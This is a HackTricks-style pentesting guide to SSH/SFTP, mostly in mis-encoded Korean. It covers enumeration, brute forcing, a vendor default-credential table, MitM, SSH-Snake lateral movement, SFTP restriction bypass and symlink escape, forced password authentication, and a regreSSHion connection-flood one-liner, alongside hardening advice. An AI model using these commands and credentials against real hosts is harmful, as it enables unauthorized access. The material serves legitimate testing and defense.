22 - Pentesting SSH/SFTP
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
**SSH (Secure Shell or Secure Socket Shell)**๋ ๋ณด์๋์ง ์์ ๋คํธ์ํฌ ์์์ ์ปดํจํฐ์ ์์ ํ ์ฐ๊ฒฐ์ ์ ๊ณตํ๋ ๋คํธ์ํฌ ํ๋กํ ์ฝ์ ๋๋ค. ์๊ฒฉ ์์คํ ์ ์ ๊ทผํ ๋ ๋ฐ์ดํฐ์ ๊ธฐ๋ฐ์ฑ๊ณผ ๋ฌด๊ฒฐ์ฑ์ ์ ์งํ๋ ๋ฐ ํ์์ ์ ๋๋ค.
๊ธฐ๋ณธ ํฌํธ: 22
22/tcp open ssh syn-ack
SSH ์๋ฒ:
- openSSH โ OpenBSD SSH๋ก, BSD, Linux ๋ฐฐํฌํ ๋ฐ Windows(Windows 10 ์ดํ)์ ํฌํจ๋์ด ์ ๊ณต๋จ
- Dropbear โ ๋ฉ๋ชจ๋ฆฌ์ ํ๋ก์ธ์ ๋ฆฌ์์ค๊ฐ ์ ์ ํ๊ฒฝ์ ์ํ SSH ๊ตฌํ์ฒด๋ก, OpenWrt์ ํฌํจ๋์ด ์ ๊ณต๋จ
- PuTTY โ Windows์ฉ SSH ๊ตฌํ์ฒด๋ก, ํด๋ผ์ด์ธํธ๋ ํํ ์ฌ์ฉ๋์ง๋ง ์๋ฒ ์ฌ์ฉ์ ๋๋ฌพ
- CopSSH โ Windows์ฉ OpenSSH ๊ตฌํ์ฒด
SSH ๋ผ์ด๋ธ๋ฌ๋ฆฌ (์๋ฒ ์ธก ๊ตฌํ):
- libssh โ ๋ฉํฐํ๋ซํผ C ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ก SSHv2 ํ๋กํ ์ฝ์ ๊ตฌํํ๋ฉฐ Python, Perl ๋ฐ R ๋ฐ์ธ๋ฉ์ ์ ๊ณต; KDE์์ sftp์, GitHub์์ git SSH ์ธํ๋ผ์ ์ฌ์ฉ๋จ
- wolfSSH โ ANSI C๋ก ์์ฑ๋ SSHv2 ์๋ฒ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ก ์๋ฒ ๋๋, RTOS ๋ฐ ์์ ์ ์ฝ ํ๊ฒฝ์ ๋์์ผ๋ก ํจ
- Apache MINA SSHD โ Apache SSHD Java ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ Apache MINA ๊ธฐ๋ฐ์
- paramiko โ Python์ฉ SSHv2 ํ๋กํ ์ฝ ๋ผ์ด๋ธ๋ฌ๋ฆฌ
์ด๊ฑฐ
Banner Grabbing
nc -vn <IP> 22
์๋ํ๋ ssh-audit
ssh-audit๋ ssh ์๋ฒ ๋ฐ ํด๋ผ์ด์ธํธ ๊ตฌ์ฑ ๊ฐ์ฌ๋ฅผ ์ํ ๋๊ตฌ์ ๋๋ค.
https://github.com/jtesta/ssh-audit is an updated fork from https://github.com/arthepsy/ssh-audit/
๊ธฐ๋ฅ:
- SSH1 ๋ฐ SSH2 ํ๋กํ ์ฝ ์๋ฒ ์ง์;
- SSH ํด๋ผ์ด์ธํธ ๊ตฌ์ฑ ๋ถ์;
- ๋ฐฐ๋ ์์ง, ์ฅ์น ๋๋ ์ํํธ์จ์ด ๋ฐ ์ด์์ฒด์ ์ธ์, ์์ถ ๊ฐ์ง;
- ํค ๊ตํ, ํธ์คํธ ํค, ์ํธํ ๋ฐ ๋ฉ์์ง ์ธ์ฆ ์ฝ๋ ์๊ณ ๋ฆฌ์ฆ ์์ง;
- ์๊ณ ๋ฆฌ์ฆ ์ ๋ณด ์ถ๋ ฅ(๋์ ์์ , ์ ๊ฑฐ/๋นํ์ฑํ ์ฌ๋ถ, ์์ ํ์ง ์์/์ฝํจ/๋ ๊ฑฐ์ ๋ฑ);
- ์๊ณ ๋ฆฌ์ฆ ๊ถ์ฅ์ฌํญ ์ถ๋ ฅ(์ธ์๋ ์ํํธ์จ์ด ๋ฒ์ ์ ๋ฐ๋ผ ์ถ๊ฐ ๋๋ ์ ๊ฑฐ);
- ๋ณด์ ์ ๋ณด ์ถ๋ ฅ(๊ด๋ จ ๋ฌธ์ , ํ ๋น๋ CVE ๋ชฉ๋ก ๋ฑ);
- ์๊ณ ๋ฆฌ์ฆ ์ ๋ณด๋ฅผ ๊ธฐ๋ฐ์ผ๋ก SSH ๋ฒ์ ํธํ์ฑ ๋ถ์;
- OpenSSH, Dropbear SSH ๋ฐ libssh์ ์ด๋ ฅ ์ ๋ณด;
- Linux ๋ฐ Windows์์ ์คํ;
- ์์กด์ฑ ์์
usage: ssh-audit.py [-1246pbcnjvlt] <host>
-1, --ssh1 force ssh version 1 only
-2, --ssh2 force ssh version 2 only
-4, --ipv4 enable IPv4 (order of precedence)
-6, --ipv6 enable IPv6 (order of precedence)
-p, --port=<port> port to connect
-b, --batch batch output
-c, --client-audit starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n, --no-colors disable colors
-j, --json JSON output
-v, --verbose verbose output
-l, --level=<level> minimum output level (info|warn|fail)
-t, --timeout=<secs> timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>
์๋ฒ์ ๊ณต๊ฐ SSH ํค
ssh-keyscan -t rsa <IP> -p <PORT>
์ฝํ ์ํธํ ์๊ณ ๋ฆฌ์ฆ
์ด ํญ๋ชฉ์ ๊ธฐ๋ณธ์ ์ผ๋ก nmap์ ์ํด ๋ฐ๊ฒฌ๋ฉ๋๋ค. ํ์ง๋ง sslcan์ด๋ sslyze๋ฅผ ์ฌ์ฉํ ์๋ ์์ต๋๋ค.
Nmap ์คํฌ๋ฆฝํธ
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods
Shodan
ssh
Brute force usernames, passwords and private keys
Username Enumeration
์ผ๋ถ OpenSSH ๋ฒ์ ์์๋ timing attack์ ํตํด ์ฌ์ฉ์ ๊ณ์ ์ ์ด๊ฑฐํ ์ ์์ต๋๋ค. ์ด๋ฅผ ์ ์ฉํ๋ ค๋ฉด metasploit module์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
msf> use scanner/ssh/ssh_enumusers
Brute force
์ผ๋ถ ์ผ๋ฐ์ ์ธ ssh credentials๋ here ์ here ๋ฐ ์๋์ ์์ต๋๋ค.
Private Key Brute Force
์ฌ์ฉํ ์ ์๋ ssh private keys๋ฅผ ๋ช ๊ฐ ์๊ณ ์๋ค๋ฉดโฆ ์๋ํด๋ด ์๋ค. nmap script๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค:
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
๋๋ MSF auxiliary module:
msf> use scanner/ssh/ssh_identify_pubkeys
๋๋ ssh-keybrute.py (native python3, ๊ฒฝ๋์ด๋ฉฐ ๋ ๊ฑฐ์ ์๊ณ ๋ฆฌ์ฆ์ด ํ์ฑํ๋์ด ์์)๋ฅผ ์ฌ์ฉํ์ธ์: snowdroppe/ssh-keybrute.
Known badkeys can be found here:
ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub
Weak SSH keys / Debian predictable PRNG
์ผ๋ถ ์์คํ ์๋ cryptographic material์ ์์ฑํ ๋ ์ฌ์ฉ๋๋ random seed์ ์๋ ค์ง ๊ฒฐํจ์ด ์์ต๋๋ค. ์ด๋ก ์ธํด keyspace๊ฐ ๊ทน์ ์ผ๋ก ์ค์ด๋ค์ด bruteforced๋ ์ ์์ต๋๋ค. ์ฝํ PRNG์ ์ํฅ์ ๋ฐ์ Debian ์์คํ ์์ ์์ฑ๋ ๋ฏธ๋ฆฌ ๋ง๋ค์ด์ง ํค ์ธํธ๋ ์ฌ๊ธฐ์์ ํ์ธํ ์ ์์ต๋๋ค: g0tmi1k/debian-ssh.
๋์ ๋จธ์ ์ ๋ํ ์ ํจํ ํค๋ฅผ ์ฐพ๊ธฐ ์ํด ์ฌ๊ธฐ์์ ์ฐพ์๋ณด์ธ์.
Kerberos / GSSAPI SSO
๋์ SSH ์๋ฒ๊ฐ GSSAPI๋ฅผ ์ง์ํ๋ค๋ฉด(์: domain controller์์ Windows OpenSSH), ์ํธ ๋์ Kerberos TGT๋ฅผ ์ฌ์ฉํด ์ธ์ฆํ ์ ์์ต๋๋ค.
Workflow from a Linux attacker host:
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>
# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
# 3) Obtain a TGT for the user
kinit <user>
klist
# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
์ฐธ๊ณ :
- ์๋ชป๋ ์ด๋ฆ(์: short host, alias, ๋๋
/etc/hosts์ ์๋ชป๋ ์์)์ผ๋ก ์ฐ๊ฒฐํ๋ฉด SPN์ด ์ผ์นํ์ง ์์ โServer not found in Kerberos databaseโ ์ค๋ฅ๊ฐ ๋ฐ์ํ ์ ์์ต๋๋ค. crackmapexec ssh --kerberos๋ Kerberos ์ธ์ฆ์ ccache๋ฅผ ์ฌ์ฉํ ์๋ ์์ต๋๋ค.
๊ธฐ๋ณธ ์๊ฒฉ ์ฆ๋ช
| Vendor | Usernames | Passwords |
|---|---|---|
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
| Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
SSH-MitM
๋ก์ปฌ ๋คํธ์ํฌ์ ์์ผ๋ฉฐ victim์ด username๊ณผ password๋ก SSH ์๋ฒ์ ์ฐ๊ฒฐํ๋ ค๋ ๊ฒฝ์ฐ, ํด๋น ์๊ฒฉ ์ฆ๋ช ์ ํ์ทจํ๊ธฐ ์ํด MitM ๊ณต๊ฒฉ์ ์ํํ ์ ์์ต๋๋ค:
๊ณต๊ฒฉ ๊ฒฝ๋ก:
- Traffic Redirection: ๊ณต๊ฒฉ์๋ victim์ ํธ๋ํฝ์ ์์ ์ ๋จธ์ ์ผ๋ก ์ ๋ํ์ฌ SSH ์๋ฒ๋ก์ ์ฐ๊ฒฐ ์๋๋ฅผ ๊ฐ๋ก์ฑ๋๋ค.
- Interception and Logging: ๊ณต๊ฒฉ์ ๋จธ์ ์ ํ๋ก์ ์ญํ ์ ํ๋ฉฐ, ํฉ๋ฒ์ ์ธ SSH ์๋ฒ์ธ ๊ฒ์ฒ๋ผ ๊ฐ์ฅํ์ฌ ์ฌ์ฉ์์ ๋ก๊ทธ์ธ ์ ๋ณด๋ฅผ ์บก์ฒํฉ๋๋ค.
- Command Execution and Relay: ์ต์ข ์ ์ผ๋ก ๊ณต๊ฒฉ์ ์๋ฒ๋ ์ฌ์ฉ์์ ์๊ฒฉ ์ฆ๋ช ์ ๊ธฐ๋กํ๊ณ , ๋ช ๋ น์ ์ค์ SSH ์๋ฒ๋ก ์ ๋ฌํ์ฌ ์คํํ ๋ค ๊ฒฐ๊ณผ๋ฅผ ์ฌ์ฉ์์๊ฒ ์ ๋ฌํด ๊ณผ์ ์ด ์ ์์ ์ผ๋ก ๋ณด์ด๊ฒ ๋ง๋ญ๋๋ค.
SSH MITM์ ์์ ์ค๋ช ๋ ๋์์ ๊ทธ๋๋ก ์ํํฉ๋๋ค.
์ค์ MitM์ ์ํํ๊ธฐ ์ํด์๋ ARP spoofing, DNS spoofing ๋ฑ Network Spoofing attacks์ ์ค๋ช ๋ ๊ธฐ์ ๋ค์ ์ฌ์ฉํ ์ ์์ต๋๋ค.
SSH-Snake
๋ฐ๊ฒฌํ SSH private keys๋ฅผ ์ด์ฉํด ์์คํ ์ ํก๋จํ๊ณ , ๊ฐ ์์คํ ์ private key๋ฅผ ์ฌ์ฉํด ์๋ก์ด ํธ์คํธ๋ก ์ ๊ทผํ๊ณ ์ ํ๋ค๋ฉด SSH-Snake๋ฅผ ์ฌ์ฉํ์ธ์.
SSH-Snake๋ ๋ค์ ์์ ์ ์๋์ผ๋ก ์ฌ๊ท์ ์ผ๋ก ์ํํฉ๋๋ค:
- ํ์ฌ ์์คํ ์์ SSH private keys๋ฅผ ์ฐพ์ต๋๋ค,
- ํ์ฌ ์์คํ ์์ ํด๋น private keys๋ก ์ ๊ทผ์ด ํ์ฉ๋ ์ ์๋ ํธ์คํธ๋ ๋์(user@host)์ ์ฐพ์ต๋๋ค,
- ๋ฐ๊ฒฌํ ๋ชจ๋ private keys๋ก ๋ชจ๋ ๋์์ ๋ํด SSH ์ ์์ ์๋ํฉ๋๋ค,
- ๋์์ ์ฑ๊ณต์ ์ผ๋ก ์ ์ํ๋ฉด, ์ฐ๊ฒฐ๋ ์์คํ ์์ 1~4๋จ๊ณ๋ฅผ ๋ฐ๋ณตํฉ๋๋ค.
์์ ํ self-replicatingํ๊ณ self-propagatingํ๋ฉฐ, ํ์ผ๋ฆฌ์ค์ ๋๋ค.
๊ตฌ์ฑ ์ค๋ฅ
Root ๋ก๊ทธ์ธ
SSH ์๋ฒ๊ฐ ๊ธฐ๋ณธ์ ์ผ๋ก root ์ฌ์ฉ์ ๋ก๊ทธ์ธ์ ํ์ฉํ๋ ๊ฒฝ์ฐ๊ฐ ํํ๋ฉฐ, ์ด๋ ์ฌ๊ฐํ ๋ณด์ ์ํ์ ์ด๋ํฉ๋๋ค. root ๋ก๊ทธ์ธ ๋นํ์ฑํ๋ ์๋ฒ๋ฅผ ๋ณดํธํ๊ธฐ ์ํ ์ค์ํ ๋จ๊ณ์ ๋๋ค. ๊ด๋ฆฌ์ ๊ถํ์ผ๋ก์ ๋ฌด๋จ ์ ๊ทผ๊ณผ brute force ๊ณต๊ฒฉ์ ์ค์ผ ์ ์์ต๋๋ค.
OpenSSH์์ Root ๋ก๊ทธ์ธ์ ๋นํ์ฑํํ๋ ค๋ฉด:
sudoedit /etc/ssh/sshd_config๋ก SSH ๊ตฌ์ฑ ํ์ผ์ ํธ์งํฉ๋๋ค.#PermitRootLogin yes๋ฅผ **PermitRootLogin no**๋ก ๋ณ๊ฒฝํฉ๋๋ค.sudo systemctl daemon-reload๋ก ๊ตฌ์ฑ์ ๋ค์ ๋ก๋ํฉ๋๋ค.- ๋ณ๊ฒฝ ์ฌํญ์ ์ ์ฉํ๋ ค๋ฉด
sudo systemctl restart sshd๋ก SSH ์๋ฒ๋ฅผ ์ฌ์์ํฉ๋๋ค.
SFTP Brute Force
SFTP command execution
SFTP ์ค์ ์์ ํํ ๋ฐ์ํ๋ ์ค์๋ก, ๊ด๋ฆฌ์๋ ์ฌ์ฉ์๊ฐ ์๊ฒฉ ์
ธ ์ ๊ทผ ์์ด ํ์ผ ๊ตํ๋ง ํ๋๋ก ์๋ํ์ง๋ง ์ฐํ๊ฐ ๊ฐ๋ฅํ ๊ฒฝ์ฐ๊ฐ ์์ต๋๋ค. ์ฌ์ฉ์๋ฅผ ๋น๋ํํ ์
ธ(e.g., /usr/bin/nologin)๋ก ์ค์ ํ๊ณ ํน์ ๋๋ ํฐ๋ฆฌ์ ์ ํํ๋๋ผ๋, ์ฌ์ฉ์๋ ๋ก๊ทธ์ธ ์งํ ๋น๋ํํ ์
ธ์ด ์ ์ฉ๋๊ธฐ ์ ์ ์ฆ์ /bin/bash ๊ฐ์ ๋ช
๋ น ์คํ์ ์์ฒญํ์ฌ ์ด๋ฌํ ์ ํ์ ์ฐํํ ์ ์์ต๋๋ค. ์ด๋ ์๋ํ ๋ณด์ ์กฐ์น๋ฅผ ๋ฌด๋ ฅํํ์ฌ ๋ฌด๋จ ๋ช
๋ น ์คํ์ ํ์ฉํฉ๋๋ค.
ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0
$ ssh noraj@192.168.1.94 /bin/bash
๋ค์์ ์ฌ์ฉ์ noraj๋ฅผ ์ํ ์์ ํ SFTP ๊ตฌ์ฑ ์์ (/etc/ssh/sshd_config โ openSSH):
Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no
์ด ๊ตฌ์ฑ์ SFTP๋ง ํ์ฉํฉ๋๋ค: start command๋ฅผ ๊ฐ์ ํ์ฌ shell access๋ฅผ ๋นํ์ฑํํ๊ณ TTY access๋ฅผ ๋นํ์ฑํํ๋ฉฐ, ๋ํ ๋ชจ๋ ์ข ๋ฅ์ port forwarding ๋๋ tunneling์ ๋นํ์ฑํํฉ๋๋ค.
SFTP Tunneling
SFTP ์๋ฒ์ ์ ๊ทผํ ์ ์๋ค๋ฉด, ์๋ฅผ ๋ค์ด ์ผ๋ฐ์ ์ธ port forwarding์ ์ฌ์ฉํด ํธ๋ํฝ์ ์ด๋ฅผ ํตํด tunnelํ ์๋ ์์ต๋๋ค:
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
SFTP Symlink
The sftp have the command โsymlinkโ. ๋ฐ๋ผ์ ์ด๋ค ํด๋์ writable rights๊ฐ ์์ผ๋ฉด ๋ค๋ฅธ ํด๋/ํ์ผ์ symlinks๋ฅผ ์์ฑํ ์ ์์ต๋๋ค. ๋ณดํต chroot ์์ trapped๋์ด ์๊ธฐ ๋๋ฌธ์ ์ด๊ฒ์ด ํน๋ณํ ์ ์ฉํ์ง ์์ ์ ์์ง๋ง, ์์ฑํ symlink๋ฅผ no-chroot service(์: ์น์์ ๊ทธ symlink์ accessํ ์ ์๋ ๊ฒฝ์ฐ)์์ ์ ๊ทผํ ์ ์๋ค๋ฉด open the symlinked files through the webํ ์ ์์ต๋๋ค.
For example, to create a symlink from a new file โfrootโ to โ/โ:
sftp> symlink / froot
If you can access the file โfrootโ via web, you will be able to list the root (โ/โ) folder of the system.
์ธ์ฆ ๋ฐฉ๋ฒ
๋ณด์์ด ๋์ ํ๊ฒฝ์์๋ ๋จ์ํ ํจ์ค์๋ ๊ธฐ๋ฐ ์ธ์ฆ๋ณด๋ค key-based ๋๋ two-factor ์ธ์ฆ๋ง ํ์ฉํ๋ ๊ฒ์ด ์ผ๋ฐ์ ์
๋๋ค. ํ์ง๋ง ์ข
์ข
๊ฐ๋ ฅํ ์ธ์ฆ ๋ฐฉ๋ฒ์ ํ์ฑํํ๋ฉด์ ์ฝํ ๋ฐฉ๋ฒ์ ๋นํ์ฑํํ์ง ์๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ต๋๋ค. ํํ ์ฌ๋ก๋ก๋ openSSH ์ค์ ์์ publickey๋ฅผ ํ์ฑํํ๊ณ ๊ธฐ๋ณธ ๋ฐฉ๋ฒ์ผ๋ก ์ค์ ํ์ง๋ง password๋ฅผ ๋นํ์ฑํํ์ง ์๋ ๊ฒฝ์ฐ๊ฐ ์์ต๋๋ค. ๋ฐ๋ผ์ SSH ํด๋ผ์ด์ธํธ์ verbose ๋ชจ๋๋ฅผ ์ฌ์ฉํ๋ฉด ๊ณต๊ฒฉ์๊ฐ ๋ ์ฝํ ๋ฐฉ๋ฒ์ด ํ์ฑํ๋์ด ์์์ ํ์ธํ ์ ์์ต๋๋ค:
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
์๋ฅผ ๋ค์ด authentication failure limit์ด ์ค์ ๋์ด password method์ ๋๋ฌํ ๊ธฐํ๋ฅผ ์ป์ง ๋ชปํ๋ค๋ฉด, PreferredAuthentications ์ต์
์ ์ฌ์ฉํด ์ด method์ ์ฌ์ฉ์ ๊ฐ์ ํ ์ ์์ต๋๋ค.
ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
SSH ์๋ฒ ๊ตฌ์ฑ์ ๊ฒํ ํ์ฌ ์์๋ ๋ฐฉ๋ฒ๋ง ํ์ฉ๋๋์ง ํ์ธํด์ผ ํฉ๋๋ค. ํด๋ผ์ด์ธํธ์ verbose mode๋ฅผ ์ฌ์ฉํ๋ฉด ๊ตฌ์ฑ์ ํจ๊ณผ๋ฅผ ํ์ธํ๋ ๋ฐ ๋์์ด ๋ ์ ์์ต๋๋ค.
๊ตฌ์ฑ ํ์ผ
ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa
Fuzzing
- https://packetstormsecurity.com/files/download/71252/sshfuzz.txt
- https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2
์ต๊ทผ ์น๋ช ์ ์ทจ์ฝ์ (2024)
CVE-2024-6387 โ regreSSHion signal-handler race
OpenSSH 8.5p1โ9.7p1์ sshd์ SIGALRM ํธ๋ค๋ฌ ๋ด๋ถ์์ async-safe ๋ก๊น
๊ฐ๋๋ฅผ ์ ๊ฑฐํ์ฌ CVE-2006-5051์ ์ฌ๋์
ํ๊ณ , LoginGraceTime์ด ๋ง๋ฃ๋์๋ง์ ์ธ์ฆ๋์ง ์์ ๊ณต๊ฒฉ์๊ฐ glibc ํ์ ์์์ํฌ ์ ์๊ฒ ๋์์ต๋๋ค. Qualys๋ ์ด ๋ฒ๊ทธ๋ฅผ 32-bit Linux์์ root RCE๋ก ๋ฌด๊ธฐํํ์ผ๋ฉฐ, ์ถฉ๋ถํ ์๋๋ก 64-bit ๋์๋ ์ฌ์ ํ ๋ธ๋ฃจํธํฌ์ค ๊ฐ๋ฅํ๋ค๊ณ ์ธ๊ธํ์ต๋๋ค. ๋ฐ๋ผ์ ๋ฐฐ๋ ์์ง ์ ํด๋น ๋ฒ์ ์ ๋
ธ์ถํ๋ ํธ์คํธ๋ฅผ ์ฐ์ ์ ์ผ๋ก ๊ฒ์ฌํ์ธ์.
์ต์คํ๋ก์์ ํ์ด๋ฐ ๊ธฐ๋ฐ์ ๋๋ค: ์ธ์ฆ์ ์ํํ์ง ์๋ ๋ฐ์ฏค ์ด๋ฆฐ ์ธ์ ์ผ๋ก ๋ฐ๋ชฌ์ ๊ฐํ๊ฒ ๋๋ฅด๋ฉด์ privileged monitor๊ฐ ์ทจ์ฝํ ์๊ทธ๋ ๊ฒฝ๋ก๋ฅผ ๋ฐ๋ณต์ ์ผ๋ก ํธ์ถํ๊ฒ ๋ง๋ค๊ณ , ๊ทธ ๋์ allocator ์ํ๋ฅผ ์กฐ์ํฉ๋๋ค.
์ด์์ ํ:
ssh -V(์๊ฒฉ ๋ฐฐ๋) ๋๋ssh -G <target> | grep ^userauths๋ก ๋น๋๋ฅผ ์ง๋ฌธํํ๊ณLoginGraceTime์ด 0์ด ์๋์ง ํ์ธํ์ธ์.- ์ฐ๊ตฌ์ค ๋์์ ๋ํด ์งง๊ฒ ์ ์ง๋๋ ์ธ์ฆ ์์ฒญ ์๋ ์ธ์ ์ ๋๋์ผ๋ก ๋ณด๋ด ์๋ ฅ ํ ์คํธ๋ฅผ ์ํํ์ธ์. ์:
parallel -j200 "timeout 3 ssh -o PreferredAuthentications=none -o ConnectTimeout=2 attacker@${TARGET}" ::: {1..4000}
LoginGraceTime 0์ ๊ฐ์ ํ๋ ํธ์คํธ๋ ๋ฌธ์ ์ฝ๋ ๊ฒฝ๋ก๋ฅผ ์ ํ ํ์ง ์์ต๋๋คโ์ด ๊ฒฝ์ฐMaxStartups๋ฅผ ์๋ชจ์์ผ DoS๋ฅผ ์ ๋ํ๋ ์๋๋ฆฌ์ค๋ง ๊ธฐ๋ํ์ธ์.
CVE-2024-3094 โ xz/liblzma ๊ณต๊ธ๋ง ๋ฐฑ๋์ด
XZ Utils 5.6.0 ๋ฐ 5.6.1์ ํธ๋ก์ด ๋ชฉ๋งํ๋ ๋ฆด๋ฆฌ์ค tarball์ ๋ฐฐํฌํ์ผ๋ฉฐ, ๊ทธ ๋น๋ ์คํฌ๋ฆฝํธ๋ x86-64 Linux์ Debian/RPM ํจํค์ง ๊ณผ์ ์์ ์จ๊ฒจ์ง ์ค๋ธ์ ํธ๋ฅผ ํ์ด๋
๋๋ค. ํ์ด๋ก๋๋ glibc์ IFUNC resolver๋ฅผ ์
์ฉํด sshd์์ RSA_public_decrypt๋ฅผ ํ
ํ๊ณ (ํนํ systemd ํจ์น๋ก liblzma๊ฐ ๋ก๋๋ ๋) ๊ณต๊ฒฉ์๊ฐ ์๋ช
ํ ํจํท์ ์์ฉํด pre-auth ์ฝ๋ ์คํ์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค.
์
์ฑ ๋ก์ง์ด ํด๋น ํจํค์งํ๋ ๋ฐ์ด๋๋ฆฌ ๋ด๋ถ์๋ง ์กด์ฌํ๋ฏ๋ก, ๊ณต๊ฒฉ์ ๊ฒ์ฆ์ ์ค์ ๋ก ํผํด์๊ฐ ๋ฌด์์ ์ค์นํ๋์ง ๊ฒ์ฌํด์ผ ํฉ๋๋ค: xz --version, rpm -qi xz/dpkg -l xz-utils๋ฅผ ํ์ธํ๊ณ /usr/lib*/liblzma.so*์ ํด์๋ฅผ ๋น๊ตํ๋ฉฐ ldd /usr/sbin/sshd | grep -E "systemd|lzma"๋ก sshd๊ฐ ํด๋น ์์๋ ์์กด์ฑ์ ๋ถ๋ฌ์ค๋์ง ํ์ธํ์ธ์. ํ
์ ํ๋ก์ธ์ค ๊ฒฝ๋ก๊ฐ /usr/sbin/sshd์ผ ๋๋ง ํ์ฑํ๋๋ฏ๋ก, ์คํ์ค์์ ๋ฐฑ๋์ด๋ฅผ ์ฌํํ๋ ค๋ฉด ๋ฐฐํฌํ ๋น๋ ํ๊ฒฝ์ ์ฌํํด์ผ ํ๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ต๋๋ค.
Authentication State-Machine Bypass (Pre-Auth RCE)
